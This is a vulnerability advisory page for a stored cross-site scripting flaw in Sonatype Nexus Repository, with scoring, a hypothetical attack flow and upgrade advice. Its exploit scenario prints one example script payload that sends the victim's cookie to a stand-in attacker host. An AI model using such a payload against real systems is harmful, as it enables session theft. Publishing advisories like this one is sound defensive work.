Skip to main content

Sonatype Nexus Repository EUVDEUVD-2026-29179

| CVE-2026-7308 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-11 Sonatype GHSA-f5g6-q897-4w8f
5.1
CVSS 4.0 · Vendor: Sonatype
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate with upload-capable credentials
  2. Delivery
    Upload file with JavaScript payload in name or metadata
  3. Exploit
    Victim browses repository directory via web UI
  4. Execution
    HTML index page renders without sanitizing payload
  5. Persist
    JavaScript executes in victim's browser session
  6. Impact
    Attacker steals session token or performs unauthorized actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the following specific conditions: (1) the attacker must be an authenticated user with upload permissions to a hosted repository in Nexus Repository versions 3.6.0 through 3.91.x; (2) the victim must browse the repository directory using the web UI's HTML index page feature (not via API or command-line tools); (3) the victim's browser must execute JavaScript (no protection from browser security policies or user agent modifications). The vulnerability does NOT require: administrative privileges (upload-only accounts suffice), non-default configuration (the HTML index is enabled by default), or special network positioning. Exploitation is limited by the requirement that victims must actively navigate to and view the affected repository directory, and the impact is scoped to the victim's session only rather than the entire Nexus instance.

Impact

The CVSS v4.0 score of 5.1 with vector AV:N/AC:L/AT:N/PR:L/UI:P reflects a medium-severity vulnerability with network attack vector, low attack complexity, and low privilege requirements (authenticated user with upload permission). The critical limiting factor is the requirement for user interaction (UI:P) - victims must actively browse the repository directory. Scope is changed (S:L) with low impact to integrity (SI:L) of the session context, but no direct confidentiality or availability impact. The CVSS vector does not include an EPSS score or KEV status in the provided data, suggesting no confirmed active exploitation at the time of analysis, though this is a stored XSS vulnerability making it a high-value target for targeted attacks against repository administrators or developers. In multi-tenant SaaS repositories or open-source hosting environments where multiple users browse repositories, the real-world risk is elevated beyond the base CVSS score. The vulnerability's impact depends heavily on victim privileges: compromising an administrator account enables full repository manipulation, while compromising a developer account enables supply-chain attack vectors. Organizations where repository access is tightly restricted and users do not browse untrusted repositories face lower real-world risk than those with open-repository policies.

Exploit ScenarioDerived

An attacker with legitimate upload permissions to a Nexus Repository (e.g., a disgruntled developer, compromised CI/CD pipeline account, or malicious third-party contributor) uploads a file with a name containing JavaScript payload, such as '"><script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script><a href="' or embeds the payload in artifact metadata. When a repository administrator or another developer browses the repository directory via the web UI to review or manage content, the HTML index page renders the malicious script, which executes in their browser with their session privileges. The attacker can then steal session cookies, perform repository operations as the victim, or redirect the user to a phishing page.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 11, 2026

Stored cross-site scripting (XSS) in Sonatype Nexus Repository 3.6.0 through 3.91.x allows authenticated users with upload permissions to inject malicious JavaScript into repository content, which executes in the browsers of any user viewing the affected repository directory via the HTML index page. An attacker can perform unauthorized actions within a victim's session context, including potential data theft or privilege escalation depending on the victim's role. The vulnerability requires user interaction (clicking/viewing the malicious content) and prior repository upload access, limiting but not eliminating real-world risk in multi-tenant or open-source repository environments.

RemediationAI

Upgrade Sonatype Nexus Repository to version 3.92.0 or later, which includes the security patch for this XSS vulnerability. Instructions and release notes are available at https://help.sonatype.com/en/sonatype-nexus-repository-3-92-0-release-notes.html. For organizations unable to immediately upgrade, implement the following compensating controls: restrict upload permissions to trusted administrators only by reviewing and tightening repository role-based access control (RBAC) settings in the Nexus security realm; disable or restrict the HTML index browsing feature if not required for operations by configuring directory indexing settings; implement a web application firewall (WAF) rule to sanitize or block requests containing common JavaScript payload patterns in repository index responses; and educate repository users to avoid clicking on suspicious file names or content within repository listings. Note that these controls do not eliminate the vulnerability but reduce the attack surface. Consult https://support.sonatype.com/hc/en-us/articles/51592065985939 for detailed advisory information and version-specific upgrade guidance.

Affected VersionsENISA

Nexus Repository 3.6.0 <3.92.0

Affected Packages

euvd nexus_repository fix: 3.92.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability stems from improper input validation and output encoding in Nexus Repository's HTML index generation for repository browsing (CWE-79: Improper Neutralization of Input During Web Page Generation). When authenticated users upload files or metadata with malicious JavaScript payloads to a hosted repository, the repository's web interface fails to sanitize these inputs before rendering them in the dynamically generated HTML index page. This allows attackers to bypass content security controls by leveraging their legitimate upload permissions. The affected CPE cpe:2.3:a:sonatype:nexus_repository:*:*:*:*:*:*:*:* indicates all Nexus Repository installations from version 3.6.0 through 3.91.x are vulnerable regardless of deployment mode (cloud, on-premises, or container).

Know when Nexus Repository gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Sonatype) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Sonatype) · only source for this CVE.

CVSS VectorVendor: Sonatype

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

2
CVSS changed
May 11, 2026 - 18:22 NVD
5.1 (MEDIUM)
CVE Published
May 11, 2026 - 17:17 nvd
MEDIUM 5.1

DescriptionCVE.org

An authenticated user with upload permission to a hosted repository can store content that causes arbitrary JavaScript to execute in the browser of any user who browses that repository directory via the HTML index page in Sonatype Nexus Repository versions 3.6.0 through versions before 3.92.0. This could allow the attacker to perform actions in the context of the victim's session.

Threat Intelligence Overview

EPSS Score
0.0%
Top 86% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy